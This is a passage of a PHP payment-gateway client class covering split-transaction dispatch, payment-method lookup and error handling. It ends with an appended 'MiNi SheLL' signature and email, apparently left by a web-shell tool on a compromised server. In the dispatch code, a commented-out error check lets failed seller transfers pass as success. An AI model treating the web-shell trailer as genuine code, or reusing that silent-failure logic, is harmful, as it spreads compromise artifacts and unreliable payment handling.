                    $postDataDetailsFields[$key][$detailsFieldName] = $detailsItem[$detailsFieldName];
                }  
            }
        } 
        
        $postDataFields = [];
        foreach($postDataFieldsNames as $postDataFieldName) {
            if($postDataFieldName !== 'details') {
                $value = $this->getPostData($postDataFieldName);
                if($value !== null) {
                    $postDataFields[$postDataFieldName] = $value;
                }
            } elseif(!empty($postDataDetailsFields)) {
                $postDataFields[$postDataFieldName] = $postDataDetailsFields;
            }
        }
        
        $flag = $this->executeCurl("/api/v1/multiStore/dispatchTransaction", 'POST', $postDataFields, true);
        if($flag) {
            $response = $this->getResponseData();
            
//            $merchantsIdsForIncorrectTransfers = [];
//            if(!empty($response['result'])) {
//                foreach($response['result'] as $resultItem) {
//                    if(!empty($resultItem['error'])) {
//                        $merchantsIdsForIncorrectTransfers[] = (int)$resultItem['sellerId'];
//                    }
//                }
//            }
//            
//            if(!empty($merchantsIdsForIncorrectTransfers)) {
//                $this->_error = ['code' => static::CODE_INCOMPLETE_SPLIT_TRANSFER, 'message' => implode(',', $merchantsIdsForIncorrectTransfers)];
//                return false;
//            }
                
            return true;
        }
    }
    
    public function getPaymentMethods()
    {        
        $postFields = [];
        $postFields['merchantId'] = $this->merchantId;        
        $postFields['posId'] = $this->posId; 
        
        $flag = $this->executeCurl('/api/v1/payment/methods/pl', 'GET', $postFields);
        if($flag === true) {   
            return $this->responseData['data'];
        } else {
            return false;
        }
    }
    
    public function getPaymentMethodName($idPaymentMethod)
    {
        return !empty($this->paymentMethods[(int)$idPaymentMethod]) ? $this->paymentMethods[(int)$idPaymentMethod] : '';
    }
    
    public function getError($associative = true)
    {
        return $associative ? $this->_error : [$this->_error['code'], $this->_error['message']];
    }
    
    private function _clearError()
    {
        $this->_error = [];
    }
    
}

Creat By MiNi SheLL
Email: jattceo@gmail.com